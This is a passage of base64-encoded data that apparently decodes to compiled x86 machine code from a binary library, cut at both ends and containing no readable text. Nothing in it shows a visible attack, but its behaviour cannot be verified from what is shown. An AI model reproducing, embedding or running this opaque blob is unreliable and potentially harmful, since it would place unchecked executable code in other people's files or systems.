9f//ikcBPAJ1EDlTbIvDD0VDbMZAFQGKRwGLfwhSPAR1IWoEUmpFWovO6DPk/v+DxAyL0IvOagBX6Mvq/v/phPz//1IPvsC6EwcAAFdQi8voLZcAAOkP/P//jUQkFIvRUIvL6M8DAACLVxCL8FmNRCQki8tQ6L0DAACLVCRAWYtMJCCDySBR/3UIi8tQVv90JBz/dxDossf//4PEGOkt+P//g+llD4QEAgAAg+kBD4T7AQAAg+kBD4TyAQAAg+kBD4TpAQAAg+kBD4TgAQAAi08UiwOJTCQwg8EEiUwkGItMJDCJVCQoiVQkLIlEJAyLCf9LOIlMJDSLSziJTCQgi08MiUwkPIXJD4SIAAAAUlKL0YvI6HnQ//+L+ItEJBRZWYl8JCyAeFEAdBaF/w+EnPf//4vXi8jozc7//+mO9///jUQkFIvXUIvL6Gnz//9Zi8+L0OiaxP//ajBqAIoIgWAE/+///4hIIsYAq4lQGI1EJEhQ6LczBgCLTCRIjVQkTIPEDMZEJEA1g2QkFACJfCRMiVQkKItEJDSLfQhIhcAPjrwAAABI0ehAiUQkHItEJBiFyXRbi3M4iwBOahBWUlOJRCRgiXM46DwJAACLTCQoV4tRGIvL6NQCAACLVCQ0g8QUi0wkEOjz4v7/i9aLdCQQi87oaOX+/4tEJBiLVCQog8Awg2wkHAGJRCQYdafrUYtzOIsATmoQVlBTiXM46OUIAACLTCQoV4tRGIvL6H0CAACLVCQ0g8QUi0wkEOic4v7/i9aLdCQQi87oEeX+/4tEJBiDwDCDbCQcAYlEJBh1r4tMJDT2wQF0FotEJDBr0RiLy1eLVALs6DICAABZ6xIzwIvOUFdQakla6NLh/v+DxAyLRCQshcAPhIP3//+LTCQMi9DoX83//+lz9///i1cMjUQkFFCLy+h5AQAAi1cQi/BZjUQkJIvLUOhnAQAAi30Ii1QkEFlXVlDpePX//4tdCFJTUmpJi85a6HLh/v+DxAyLw19eW4vlXcOQ/7cDEP6qAxBFswMQoawDEDC4AxCQsQMQi6wDELesAxBVrAMQ+KwDEDarAxAHrgMQB6sDEGysAxDUsgMQYq4DEEGtAxC2rQMQOa0DEAyyAxDBsQMQHrIDEB+2AxAAAAECFhYDFhYWBBYWFhYWFhYWFhYWFhYWFhYFFhYWFhYWFhYWFhYWFgYHCAkWFhYWFhYWFhYWCgsMDQ4PEAEREhMUFRYBUVFTVVaLdCQYiVQkDFeL+YtHRIlEJBSF9nkvhcB0K4sojVgE6yD2QxAEdBZq/1KLEzPJ6GkLAABZWYXAdFWLVCQQg8MYTYXtf9yLD2oA6KrQ//+LVCQYi89Q6OfV//9ZWYvIhcl0IGsRGIvGwegdM0QK/IPgBDFECvyF9nkG/0csi3csiTQKiU9Ei8ZfXl1bWVnDi0MU6/RRU1ZXi/mLyuivwf//gH8XAIvwdC2APqt0KGoAagJai87ocNn//1mFwHQXi0QkFIvWav+Lz4MgAOgr////WYvw6zCLz+jUFAAAi9iL1lPos/D//4vwWTvzdQiLRCQUiRjrEIvTi8/o0RQAAItEJBSDIABfi8ZeW1nDVYvsg+T4UVaL8YXSdBSAOqt1D4tOCGoA/3UI/3IYak7rHf91COhj8P//WTtFCHQYi04Ihcl0EWoA/3UIUGpPWuht3/7/g8QMXovlXcNTi9lWV2oAizuLz+iPz///gH9RAIvwWXUO/3QkEIvWi8vojf///1mL1ovPX15b6XzL//9Wi/FXi/qAfhcAdCBqAGoCWovP6IXY//9ZhcB0D/90JAyL14vO6EX+///rDf90JAyL14vO6Ef///9ZX17Dg+wYU4pcJChVi+mKy/bRiWwkGIDhAVaLRQiAyU6JRCQYisMk/YhMJDCAfRcAD7bwD7bDD0XwjUIEV4s6M9uJdCQYiUQkJIX/D47eAAAAi9aLdCQsiuqA5QSIbCQXiyiE7XQjD7dAFIXAdBv2wgh0CEtOT+mfAAAAi1QkMEoDwg+20VZQ63r2wgJ0H2oAagJai83oydf//1mFwHQOi0wkIIvVVuiK/f//62CLTCQgi9VW6Brv//+L6Fk77nROikQkNDxOdTaLTCQcg8r/6Ifl/v+LyIA5TnUfi0EEi1EMQAPCO8V1EotBCEADwjvGdQiNQgGJQQzrFIpEJDRWVQ+20ItMJCToVt7+/1lZikwkNItUJBiKbCQXi0QkJEODwBhGiUQkJDvfD4wx////i8dfXl1bg8QYw1WL7IPk+IHsnAAAAFNWV4v5iVQkEDP2jUQkSGowVosfUIl0JCDoYy4GAIPEDI1EJHhqMFZQ6FMuBgCDxAyNRCQYajBWUOhDLgYAi0QkHIPEDItQDIXSdBFWVovL6I7K//9Zi/CLRCQUWYB7UQAPhbEAAACNTCRIxkQkGCyJTCQki9aNTCR4xkQkSDmJTCQoi0gUiXQkVItBBIlEJFjGRCR4N4m0JIQAAACLQRyLz4mEJIgAAACNRCQUUOhW7f//WYvOi9Doh77//4oIgWAE/+///4N9DACISCLGAKuJUBh0FP91EI1EJBz/dQhQV/9VDIPEEOsT/3UIg04EAY1UJByLz+iT7f//WYtMJBSFyXQUikcTPAhzDQ+2wImMh4wAAAD+RxOF9nQJi9aLy+g1yP//X15bi+Vdw4PsDFNVVleLfCQgM8CJRCQUiUQkGIt3CIl0JCCF9g+EAgMAAItcJCSF2w+E9gIAAA+2K4P9NA+HdgEAAA+E9gEAAIP9MA+H9AAAAA+E0AAAAIvFg+gTD4SvAAAAg+gYdBuD6AF0FoPoAQ+EtAEAAItUJCyJVCQg6dEBAACLy+hM1P//O8N0F/90JCz/dCQsUFfoav///4PEEOmIAgAAg/0sdT6LRCQs/084g/AQi3c4UFb/cwxX6HMCAAD/dCQ8/3QkPP9zEFfoNP///4tMJECDxCCL1l9eXVuDxAzppd7+//90JCz/dCQs/3MMV+gO/////3QkPP90JDz/cxBX6P3+//+DxCDpGwIAAP90JCz/dCQs/3MMV+gSAgAA6XX/////dCQsi9OLz2grvQMQ/3QkMOiR/f//g8QM6ecBAACLxYPoMXQ1g+gBdAmD6AEPhRv///+LUwyNRCQUUIvP6Pn6//9Z/3QkKIvVi85Q6H/b/v9ZWTPJ6XcBAAD/TziL04t3OIvPg3wkLACLxg9FRCQoUFbouuP//4tUJDBZWYtMJCDoXdv+/4tMJCCL1ukj////i8WD6DV0f4PoAXR6g+gBdHWD6AF0cIPoAXRrg+htdFGD6AQPhZT+//+LSxCKUyLoHbz//zPJahCLQAg4SAQPlMEzwID6pg+UwDvIWXQVM8CA+qYPRMFQ/3QkLP9zDOl7/v//M8CA+qYPRMFQ6ez+//8zwMdEJCCAAAAAg/0tD5TAjWg06wiLRCQsiUQkIItLDOiJvv//g/gBfmWLSwSLwSUBAAAQPQAAABB1EotUJCiLzl9eXVuDxAzplNr+/4HhAQAAIIH5AAAAIA+EpAAAAI1EJBSL01CLz+jM+f//WTPJOUwkIA+VwVH/dCQsi85QahJa6N3Z/v+DxAzpwv7//41EJBSL0VCLz+ic+f//i1MQi/BZjUQkGIvPUOiK+f//i1MMWf90JCCLz/90JCxQVlX/cxDohr3//4tMJDCDxBiLVCQUhdJ0FIpHEzwIcw0PtsCJlIeMAAAA/kcThcl0FIpHEzwIcw0PtsCJjIeMAAAA/kcTX15dW4PEDMNVi+yD5PiD7BxTVleLfQgzyYlMJBiJTCQki0cIiUQkFIXAD4TwAgAAi10MhdsPhOUCAACKCw+2wYvwiEwkE4P2AYl0JCCD+DQPh1kBAAAPhNcBAACD+DAPh90AAAAPhLsAAACD6BMPhKEAAACD6Bh0FoPoAXQRg+gBD4SWAQAAi3UU6bgBAACLy+gT0f//O8N0Ff91FP91EFBX6GH///+DxBDpcQIAAIB8JBMsdSb/dRT/dRD/cwxX6EP/////dRT/dRD/cxBX6DT///+DxCDpRAIAAItFFP9POIPwEIt3OFBW/3MMV+jn+////3UU/3UQ/3MQV+gG////g8Qgi0wkFIvW6FDb/v/pCwIAAP91FP91EP9zDFfotvv//+uB/3UUi9OLz2hZwAMQ/3UQ6Gj6//+DxAzp3gEAAIPoMXQ2g+gBdAmD6AEPhTL///+LUwyNRCQYUIvP6NL3//9Z/3UQi0wkGIvWUOhX2P7/WVkzyelvAQAAg30UAIvTi890Ev91EP91EOia4P//WVnphwEAAP9POIt3OFb/dRDohOD//1lZ6Vb///+D6DV0f4PoAXR6g+gBdHWD6AF0cIPoAXRrg+htdFCD6AQPhbH+//+LSxCKUyLo/Lj//zPJahCLQAg4SAQPlMEzwID6pg+UwDvIWHQUM8mA+qYPRMFQ/3UQ/3MM6ZL+//8zyYD6pg9EwVDp+/7//zPSvoAAAACA+S0PlcKDwjSJVCQg6wOLdRSLSwyJdCQc6Gm7//+D+AF+Y4tLBIvBJQEAACA9AAAAIHURi1UQi0wkFOh61/7/6bcAAACB4QEAABCB+QAAABAPhKUAAACNRCQYi9NQi8/orfb//1kzyYX2D5XBUf91EItMJBxQahRa6L/W/v+DxAzpzP7//41EJBiL0VCLz+h+9v//i1MQi/BZjUQkJIvPUOhs9v//i1MMWf90JByLz/91EFBW/3QkMP9zEOhmuv//i0wkPIPEGItUJBiF0nQUikcTPAhzDQ+2wImUh4wAAAD+RxOFyXQUikcTPAhzDQ+2wImMh4wAAAD+RxNfXluL5V3DU4vZVldqAIs7i8/oZMb//4B/UQCL8Fl1EGoQ/3QkFFZT6Lv8//+DxBCL1ovPX15b6U/C//9RUVNVVleL6jP/i1QkHIvxiXwkFIXSD4S+AAAAUYsOjUQkGFBqQWoB6CzQ/v+LXCQkg8QQhdsPhJ4AAAAPv1Uci24Ii43UAAAAg/ogfAiByQAAAIDrBo1C/w+rwYmN1AAAAIuO1AAAAIXJdFSLaWRr0igD6vZF4AF1RosJ6LrP/v+L8IX2dDuNVdiLzugEzP7/hfZ0LQ+3RgiD4D+AuBCYDBADdQmyAYvO6FjP/v9Xi9OLzuj6+v7/99hZG/9H6wKL94vL6G/G/v+LSyCL0+jMY/3/i87o3NL+/4vHX15dW1lZw1WL7IPk+IPsDFNWi3UIV4v6iUwkEIX/D4Q1AgAAhfYPhC0CAACFyXQUgD+XdQ9W6On+//9ZhcB1ZItMJBCLXgSL0wtXBA+64gqJVCQUcxkjXwQPuuMKcwiLRwg7Rgh0PWoCWOn0AQAAigc6Bg+FnwEAADxHD4SuAQAAPKJ0QjykdD6LTwiFyXQ3PKcPhD8BAAA8ow+ENwEAADx1dQczwOm4AQAAPG0PhecAAACLVgiF0nSt6EqJ/f+FwHWki1QkFItHBDNGBKgCdZb3wgBAAAB1y/fCAAgAAHWGi10M9sIIdRqLVwyLTCQQU/92DOgO////WVmFwA+FZP///4tXEItMJBBT/3YQ6PT+//9ZWYXAD4VK////i1YUi08UU+hBAQAAWYXAD4U1////ig+A+XEPhGf///+A+aUPhF7////3RCQUACAAAA+FUP///2aLRxxmO0YcD4UF////ikciOkYiD4X5/v//gPkxD4Qt////i0cYO0YYD4Qh////O8MPhdz+//+DfhgAD43S/v//6Qr///+LRgiFwA+EIv///4oZOhh1GoTbdBKKWQE6WAF1DoPBAoPAAoTbdeQzwOsFG8CDyAGFwA+E9f7//+mQ/v//i1YI6CqI/f+FwA+FgP7//zNfBLgAAAABhdgPhXD+//+FRwQPhMP+//+LVyiLTCQQagH/dijo+IQCAFlZ6af+//88bXUT/3UMi1cMVujf/f//WVmD+AJ8JYA+bQ+FL/7///91DItMJBSL1/92DOi+/f//WVmD+AIPjRP+//8zwEDrCjPJO/dqAlgPRMFfXluL5V3DUVNVVovxV4X2dQiF0nVRM8DrUIXSdEmLBjsCdUMz24XAfuyLxo1uBCvCjXoQiUQkEIoEODoHdSj/dCQYi1UAM8n/d/ToVP3//1lZhcB1EYtEJBBDg8cYg8UYOx580+uvM8BAX15dW1nDVv90JAiL8YvK6Nmz//9Qi87o0bP//4vQM8noFf3//1lZXsNTi1wkCFVWV/90JBiL+ovpU+j7/P//WVmFwA+EQQEAAIt0JBwPtgeD+GYPh6sAAAAPhMoAAACD+DcPh4sAAAAPhLsAAACD6BMPhPUAAACD6B10MIPoAXQXg+gDD4SfAAAAg+gBD4SWAAAA6YwAAACF9g+EzAAAAPdHBAAIAADpvgAAAIX2D4WqAAAAi3cUi81qAf90JByLVgRT6GH///+DxAyFwHUci1Yci81qAf90JBxT6En///+DxAyFwA+EgQAAADPAQOmfAAAAg+g4dDGD6AF0LIPoKnQq64aD+G13PHRkg+hndBmD6AF0FIPoAXQSg+gBdA2D6AF0CIPoAXU1M/ZGi1cQi81W/3QkHFPo7f7//4PEDIXAdajrKoPobnQig+g6dCCD6AF0G4PoAXQJg+gGdBEzwOswhfZ1+IB/Ii118jP2Rv90JBiLVwyLzVOL+ui6+///WVmFwA+Fw/7//zPAgDt1D5XAX15dW8NVi+xRU1aLdQiL2Vf/dQyL+lbojPv//1lZhcB0UIA+K3Uq/3UMi9eLy/92DOjP////WVmFwHU2/3UMi9eLy/92EOi6////WVmFwHUhgD4zdRhqAP91DIvXi8v/dgzoMP7//4PEDIXAdQQzwOsDM8BAX15bWV3DVot0JAz2RgQBdVAPtga5mAAAADvBd390QoPoK4P4Dg+HhwAAAA+2gD/KAxD/JIUrygMQi04MV4t8JAyLVxjoqAAAAIXAdBOLVxiLThDomQAAAIXAdATGRxQBXzPAQF7Di1YMhdJ09ItMJAjolZD//+vpi0YMgDiidQmLQCiDeDgAddiLRhCAOKJ1IYtAKIN4OAB0GOvFLaIAAAB0E4PoBHS5g+gBdLSD6AN0rzPAXsOLTCQIi0EYO0YYdZ9qAljGQRQBXsMPHwC+yQMQlskDEMPJAxDVyQMQD8oDEAABAAQEAgAAAAMDAwMDA1WL7IPsHFZXi/ro5rD//4vw6yCKBjwzdQWLdgzrFTwsdRWLTgyL1+jU////hcB1NIt2EIX2ddwzwMdF6GPJAxCJReyJRfCIRfiJffyF9nQNi9aNTeTowI///4pF+A+2wF9eycMzwEDr94tUJAhWgDqidSiLdCQIi0IYi04YO0EEdRlmi1IciwnoF0QAAGaFwHkJagJYxkYUAV7DM8Bew1WL7IPsJItFCA9XwINl3ACJRfiNRfhmDxNF5GYPE0XsiVX8x0Xgt8oDEIlF9IXJdAqL0Y1N3OhAj///M8A4RfAPlMDJw1aLdCQMigY8onQEPKR1P4tEJAiLSBiLEYXSdC8zwDkCfh9Ti14YV416NDsfdAhAg8dIOwJ89F9bOwJ9B/9BBOsNdAiLRhg7QjR9A/9BCDPAXsNVi+yD7ChWM/aJVfSLURSNRfQPV8CJddiNTdhmDxNF5Il17MdF3DLLAxDHReCzHQAQiUXwiXX4iXX86CaP//85dfh/BTl1/HUDM/ZGi8ZeycNRU1VWi3QkGFeLfCQYD7YGi08YiymLUQSLWQiJbCQYLaIAAAAPhPMAAACD6AF0EIPoAQ+E5QAAADPA6RMCAAD2QRgIdfMPtkYiOUcQdeqLQyiNUywz/4lEJByL7zk6fiiLEDPJav9W6E/4//9ZWYXAdBGLRCQcRYPAEIlEJBw7ayx83TP/jVMsOyoPjIQAAACLTCQYiwmKQU6IRCQQjUQkHFBSi1MoahDoGXgAAItsJCiDxAyJQyiJbCQche14VYtMJBjB5QQD6Il1AP9BLItBLIlFCItGFIXAdASLAOsCi8eLVgiLCVf/dCQUUOj8iAAAg8QMiUUE9kYEAnQPi0wkGItBKIlFDP9BKOsEg00M/4tsJBxmiW4e6S8BAACF0g+EKgEAAIsKM/+Lx4XJD44cAQAAi24Yg8I0iWwkEItsJBiLdCQQOzKLdCQcdA1Ag8JIO8F87On1AAAAi0scjUMgi9c7EH0ti0YYg8EIOUH8dQsPv0YcOQF0DItGGEKDwRg7UyB854tLHI1DIDsQD4yyAAAAjVQkHFJQi9GLTQBqGOghdwAAi1QkKIPEDIlUJBCLyIlLHIXSD4iIAAAAi0Yoa9IYiQQKi0YYiUQKBA+/RhyJRAoI/0Usi0Usg0wKDP+JRAoQiXQKFItDGIXAdEiNaASLAIlsJBiJRCQchcB+N4ttAIB9AKJ1FotFGDtGGHUKZotFHGY7Rhx0PYtEJByLbCQYR4PFGIlsJBg7+HzRi3wKDIX/eQqLQwyJRAoM/0MMi1QkEMYGpGaJVh6JXiQzwEBfXl1bWcOJfAoM69WLRCQE/0AQM8DDi0QkBP9IEMNVi+yD7ByDZfQAg2XkAMdF6NXLAxDHRewzzgMQx0XwPc4DEIlN/IXSdAiNTeTo8Yv//8nDVVaL8ovphfZ0HlNXM/+NXgQ5Pn4RixOLzeiu////R41bGDs+fO9fW15dw4pBE4TAdQiLQSxAiUEsw/7IiEETD7bAi4SBjAAAAMOF0nQUikETPAhzDQ+2wImUgYwAAAD+QRPDVovxg/oBdQZe6br///+LThxXi34gO9F/DY0EFyvKiUYgiU4c6wuLTiyNeQEDyolOLIvHX17Di0QkBIP4AQ+EpP///ztBHH4GiUEciVEgw1FWV4vyi/lqB2j48A0Q/zbofX/9/4PEDIXAdCX3RiQABAAAdBiLD4tBICUAAAAQg8gAdAmDubwAAAAAdAQzwOsT/zZoAPENEFfoRn79/zPAg8QMQF9eWcNTVlf/dCQQi/K7wOgNEFZTVov5aCDxDRBX6Gs2AACDxBiDfCQQAHUQVlNowPENEFfoVDYAAIPEEF9eW8NRVovxV4v6g34IAHQk6FpKAACLTgiL12oA6PXL/v8z0kJZO/p0C4tOCGoA6OPL/v9ZX15Zw4PsKFNVVleL+YlUJCwz2yFcJCCLL4t1GIl0JBQ4XVEPhUQCAACLwjPSg8AIUOhrOAAAi/CJdCQ0WYX2D4QkAgAAi1ZIiw/o2DEBAItUJDyLyIlEJCQDyYtFEIsEyIvNg00YAolEJBjoiDwAAIvYhdsPhO8BAAD/dCQYi9OLzehINgAAWYXAD4XKAQAA/3QkGIvTi83oPDgAAFmFwA+FtAEAAIvWi8/ojP7//4XAD4WyAQAAU2iY8g0Qi9OLz+hIPQAAWVmFwA+FmQEAAIN+DACLBnQLUGig8g0Q6X0BAABqAFD/dCQgi89qGlro0jIAAIPEDIXAD4VqAQAAi9aLz+iLVwAAhcAPhVkBAAA5Rjh0GovWi83orNkBADPSi0gIiwk5UUwPRMKJRCQgi8/owVMBAIlEJCiFwA+EJwEAAIN/bACLzw9FT2yDyv/GQRUBiwaLyIlEJBzoknr9/zPJi/CDfCQkAYtEJBxQD5TBUVNQi0QkKFBowOgNEFBowPINEFeJTCRY6I40AACDxCT/dCQcVot0JCBTU1NowOgNEFZocPMNEFfobjQAAIPEJLqY9A0Qi81W6BE1AABZhcB0FotEJDD/MFNWaKj0DRBX6EY0AACDxBSDfCQkAXQYi0QkHFNWUFNQVmjo9A0QV+gnNAAAg8Qgg3wkIAB0QP9HLIt3LIvWi0wkKFPoP8j+/1mLTCQouqUAAABqAGoAVuidx/7/i0wkNIPEDIvQavT/dCQk6DDO/v+LdCQgWVmLVCQki8/ohf3///90JDSL1ovP6Dz9//9Z6w9TaFzyDRBX6Gl7/f+DxAyLdCQUi1QkLIvN6O91AACF23QJi9OLzejXVf3/X4l1GF5dW4PEKMOD7BxTVVZXi/mL6oN/JACLHw+FnwAAAIB7UQAPhZUAAACLt9wAAACLy4l0JByLVkjoYi8BAItLEIvQA9KJRCQgiwTRi04EixaJRCQUg8IQD79GKv90JBTB4ASJTCQciVQkLIlEJCiLdAj0i8vozjMAAFlqAIvP/zD/dCQcahpa6LIwAACDxAyFwHUrhfZ0C4tGDDPJgDh1D0Txi1QkJItEJBj2RAL/AXQVaOj1DRBX6It6/f9ZWV9eXVuDxBzDi0wkHIN5CAB0B2gI9g0Q69+LQyAlAEAAAIPIAHQRg3kQAHQLhfZ0B2gk9g0Q68GLRCQYgHwC/AB0C4X2dQtoYPYNEOurhfZ0QoNkJBgAjUQkGFFQakFqAYvWi8voZ8D+/4PEEIXAdZCLdCQYhfZ1CmiY9g0Q6Xb///+Lzugmt/7/i04gi9bog1T9/4tVAIvLagD/dQTo+Vf9/4vwWVmF9nRdi00Ei2sYSQPO6xaKATw7dAwPtsD2gIBjDBABdAjGAQBJO8535otMJByDSxgC/3QkKItJNI1BAVBWUWjA6A0Q/3QkKGjI9g0QV+jeMQAAg8Qgi9aLy+gSVP3/iWsYi8/oo1ABAIvYhdt0c4vP6FP6//+LbCQgi/BqAlZVal5ai8voTcX+/4uLnAAAAIPEDA+r6YmLnAAAAIvLagBq/lZqU1roLMX+/4tDbIPEDIPAAovLagBQVmovWugVxf7/g8QMi8tqA2oCVWpfWugDxf7/g8QMi9aLz+gI+v//6wSLbCQgi8+L1V9eXVuDxBzp7vr//4PsFFNVVovxiVQkFFeLLoB9UQAPhUIBAACLwjPSg8AIUOiaMwAAi/iJfCQgWYX/D4QmAQAAM9s5Xzh0Emg49w0QVuineP3/WVnpDQEAADlfDHQHaFz3DRDr54vXi87o9/n//4XAD4XwAAAAOV5si8aLzQ9FRmzGQBUBi1dI6MQsAQBTalCJRCQo6G1U/f+L2FlZhdsPhMEAAACJntwAAADHQyABAAAAD7dPKg+/wUhmiUsqmYvNg+IHA8LB+ANAweAHagBQ6DFU/f+JQwT/N2h89w0QVegbbv3/g8QUiQODewQAdHaFwHRyD79DKsHgBFD/dwT/cwTosxoGAINkJCAAM8CDxAxmO0MqfTIz/4tzBIvNA/eLFuiWVf3/g2YIAIPHEINmBACLTCQUiQZBD79DKolMJBQ7yHzUi3wkHItFEItMJCADyYtEyAyJQ0iLRzSJQzTHQyABAAAAi1QkGIvNX15dW4PEFOkZcgAAg+wkU1WLwovZVolEJCwz0leLM4PACDP/iVwkHFCJdCQwiXwkHOgpMgAAi+hZhe0PhKgBAACL1YvL6K/4//+FwA+FlwEAADPJuJD3DRA5fQwPRME5fTh0B7iY9w0Q6wSFwHQX/3UAUGio9w0QU+gPd/3/g8QQ6WMBAACLVUiLzuhVKwEAi8iJRCQoi0YQA8lX/3UAiwTIi8tQahpaiUQkMOjTLAAAg8QMhcAPhS0BAACLVCQ4i87o7zUAAIlEJBiFwA+EFgEAAA+/VSqLz4lMJBSF0n5Ii0UEi9mLdCQYD799KolEJCCLCIvW6GV3/f+FwHQQi0QkIEODwBCJRCQgO99844t0JCwz/4tEJBgPv1UqiVwkFItcJByLTCQUO8p1FFBoSOoNEFPoVHb9/4PEDOmoAAAAg3tsAIvDi84PRUNsi1wkPIvTxkAVAehaNQAAi/iF/w+EgwAAAIsLM9v/dQCLRCQoD7YJD7axgGMMEIHmgAAAAIN8JCwBD5TDU1ZX/3QkJP91AFBowOgNEFBo0PcNEP90JEToMi4AAIPELFaLdCQgV/90JBz/dQCLbCQ0VWjA6A0QaKD4DRBW6A0uAACLVCRIi87otff//1OL1YvO6G/3//+LdCRQg8Qki1QkMIvO6DFwAACLRCQYhcB0CYvQi87oFVD9/4X/dBCL14vOX15dW4PEJOkBUP3/X15dW4PEJMNRU1ZXi9mL+moAahCLC+hmUf3/i/BZWYX2dCCLTCQUiT6LEYtJBIlWBIlOCIuDCAEAAIlGDImzCAEAAIvHX15bWcOLgQgBAACFwHQSi0wkBDkIdAiLQAyFwHX1w4kQw4tMJAQz0v90JAiLCejS////WTPAw4tEJARTVVaLKDP2i0QkFFeJbCQUiziF/3Qyi945N34si3QkFI1vCIN9AAB0Df91ADPSi87olf///1lDg8UYOx985YtEJBgz9otsJBSLeCCF/3QbOTd+F41fEP8zM9KLzehp////Ro1bSFk7N3zsX15dM8Bbw1WL7IPsHIlN5A9XwGYPE0XwZg8TRfjHReiy2AMQx0Xsx9gDEIXSdAiNTeTo/ID//8nDg+wcVVaL8ovphfZ0SVcPV8CJbCQMM/9mDxNEJBSNTCQMZg8TRCQciXwkJMdEJBCy2AMQ6EOB//85Pn4ZU41eCP8zM9KLzejc/v//R41bGFk7PnzsW19eXYPEHMNWjbEIAQAAiw5Xi/qFyXQii0QkDI1RDDkBdAqL8osOhcl18esNiwKJBosHiQL/RwSJD19ew1WL7IPk+IPsKFNVVleL6otFQIvRiVQkFIXAdFAz2zkYfkqLy4lcJBCLdAEQjXwkGGoIM8BZ86uLCo1EJBhQi9aJTCQc6CZ6AQBZi0wkFIvW6FGB//+LRUBDi0wkEItUJBSDwRCJTCQQOxh8vF9eXVuL5V3Di1QkCItMJATof////zPAw4tMJAhWi3QkCIoBi1YYPE11GA+/QRw7Qgh1LYs2i0ZwO0IMdSNRi87rGDyidRoPv0EcO0IIdRGLQgw7QSh1CVGLDugA////WTPAXsNRU1ZXi/qL2YtMJBSyAejRuP7/i0wkGLIBi/DoxLj+/4tMJBy62NENEIX//3EEuRj5DRAPRMpRUFZoKPkNEOgkaf3/g8QUi/Bq/1ZT6DP0/v+DxAxW6NtM/f9ZX15bWcNVi+xRUVaLdQiJVfyJTfiF9nRLVzP/OT5+Q1ONXgiDOwB1CYtFDPfYG8DrFoN9DAB0HItVDIsL6Cdz/f+LVfyLTfiFwHUI/zPoTv7//1mLVfxHi034g8MYOz58wltfXsnDUVFXi3wkEIlUJASJTCQIhf90UVYz9jl3BH5IVYsHiyzwhe11CotEJBz32BvA6xqDfCQcAHQei1QkHIvN6MFy/f+LVCQMi0wkEIXAdQdV6Of9//9Zi1QkDEaLTCQQO3cEfLpdXl9ZWcNVi+xRU1Yz24vxV4t9DIld/DldFHQFM8BA6weLz+jwMAAAaAwBAABTVoiHpAAAAOhUDgYAi1UQg8QMOV0Ii86JPg+VwMdGfAEAAAAEAoiGwAAAAI1F/FDoyboCAFmLTfyL0IlOBDhfUXQFagdY6yaF0nUiOZ7cAAAAdRo5nuAAAAB1Ejme5AAAAHUKufGWAQDoNOACAIifpAAAAF9eW8nDVYvsg+T4g+wsU1aLdQyL2VeL+olcJDSLzol8JBTo4m/9/4tNCIlEJBzo1m/9/4sLg2QkLABWiUQkFItBIGhA+Q0QUIlEJCTo4mb9/4vYg8QMiVwkKIXbdQhqB1jpVQEAAIvL6Jxv/f+DfRAAi8iJTCQwdAeJXQyJTCQci0cEi3QkEA+vwYtMJBgDxpmDwAGD0gBSUOibTP3/i/hZWYX/D4T+AAAAVv91CFfoORMGAItEJCCDxAyLCIXJD4TFAAAAi/GLVgyF0nQUi0IEO0YED0fyi1IMhdJ18ItEJBSL0OsFjVEMiwo7znX3i0YMiQKLXgQPtgP2gIBjDBBGdAmLTCQci0UM6wiLTCQwi0QkKCtdCItWCIlEJCSJTCQgO9F0NItEJBArwivDUI0EGgPHUI0ECwPHUOitEgYAi0wkLIPEDItUJBCLwStGCAPQiVQkEMYEOgBR/3QkKI0EO1DohRIGAItMJCSDxAyL1uhDSv3/i0QkFIsIi/GFyQ+FQf///4tcJChq/2r/V/90JEDo/vH+/4tMJCiDxBCL1+gTSv3/6wjHRCQsBwAAAFPou0n9/4tEJDBZX15bi+Vdw1WL7IPk+IPseFNVVleJVCQUi+mLheQAAACNfCQYi3UAM9uJRCQQM8BqCFnzq4t8JBCLzolsJBiLVxjogyMBAIvQi0YQA9L/NNCLVwToGSgAAIvQiVVwikcIiIWIAAAAWYXSdA2LzejDSQAAi9iF23USi1cMhdJ0C41MJBjoDJr//4vYi3cc6SABAACF9g+EIAEAAItWCIXSdBaNRCQYi81Q6HN1AQCDfSQAWXQDi10MhdsPhfAAAAA5XgwPhOcAAAD/dCQUM9KLzf92DOhHKAAAi/hZWYX/dQZD6ckAAACL14vN6EZJAACL2IXbD4W2AAAAalBQjUQkQFDoLAsGAItGDIPEDIlEJEiNRCQ4iUQkHItWEMdEJDgBAAAAiXwkUIXSdA+NTCQY6GCZ//+L2IXbdQ6LVhSNTCQY6MaZ//+L2It+HIX/dFuNRCQ4iUcUjUwkGIl8JCDHRCQwAAIAAIsX6J+Z//+L2IXbdTKLVwiNTCQY6I2Z//+L2IXbdSCLVwyNTCQY6AOZ//+L2IXbdQ6LVwSNTCQY6PGY//+L2INkJDAAg2QkHACLdiSF2w+E2P7//1+Lw15dW4vlXcNWi/JXi/mLVgyF0nQF6ER6//+LdhyF9nRhU4tWCIvP6G97//+LVhCF0nQHi8/oJHr//4tWFIvP6Jt6//+LXhyF23QvixOLz+iLev//i1MIi8/ogXr//4tTDIXSdAeLz+jyef//i1MEhdJ0B4vP6OR5//+LdiSF9nWhW19ew1NWV4v5i08Iix+FyXQF6JvW/v+Ll9wAAACLy+jwKwAA6xKLQRSL0YvLiYfgAAAA6HIoAACLj+AAAACFyXXki5fkAAAAi8voFJ8BAItXBIXSdAeLy+hkR/3/i5cIAQAAhdJ0EItyDIvL6FBH/f+L1oX2dfCLz19eW+krIQEAgexkAQAAi4QkaAEAAFNVVosAi7QkfAEAAFeLWCAzwIsOQIrQiVwkEIlEJBjodrL+/4tODLIBiUQkIOhosv7/i04QsgGL6Ohcsv7/i04Ui/iJfCQc6PGp/v+LjCSAAQAAi/CyAYl0JECLSRjoN7L+/4lEJDiLhCSAAQAAi0gc6Mep/v+JRCREi4QkgAEAAItIIOi0qf7/g3wkIACJRCQUi4M4AQAAiUQkSA+EFAQAAIX/D4QMBAAAg3wkOAAPhAEEAACF9g+I+QMAAFWL14vL6N8kAACL+FmF/w+E5AMAAA+/Tyo78Q+N2AMAAItHBIvO/3QkFMHhBA9XwP90JCSDyv+JTCREixwBi86DZCQ8AGYPE0QkLA+/Ryg78ItEJBhQD0TKi9WJTCQ4jUwkdIOgOAEAAABqAOix+f//jUwkeMdEJGCD2gMQM9KJTCRcg8QQiVQkYMdEJFRz2gMQD1fAZg8TRCRYjUwkJIlMJGSJfCQwhcAPheQCAACLtCREAQAAhfYPhLUBAACLfgyF/3Q8iVQkdI1MJGhSi1YM6MJxAQCLXCQUi0QkeFlqB4B7UQBZD0XBhcAPhaYCAACL141MJEzo03j//+lrAgAAixaLbCQchdJ1DDPJiXQkMEHptQAAAIvN6J5r/f+LyIl0JDCJTCQYhckPhZwAAACLTgSLVCQ8/zQRjVQkKI1MJGzorfb//4N8JDAAWX0Zi4QkRAEAAI1UJCSDwCiNTCRoUOiN9v//WYuUJEQBAACNTCRMi1IY6Jh3//+LtCREAQAAi34Ihf90GotXKI1MJEzofnf//4t/FIX/de2LtCREAQAAi7wkSAEAAIX/dBqLVyiNTCRM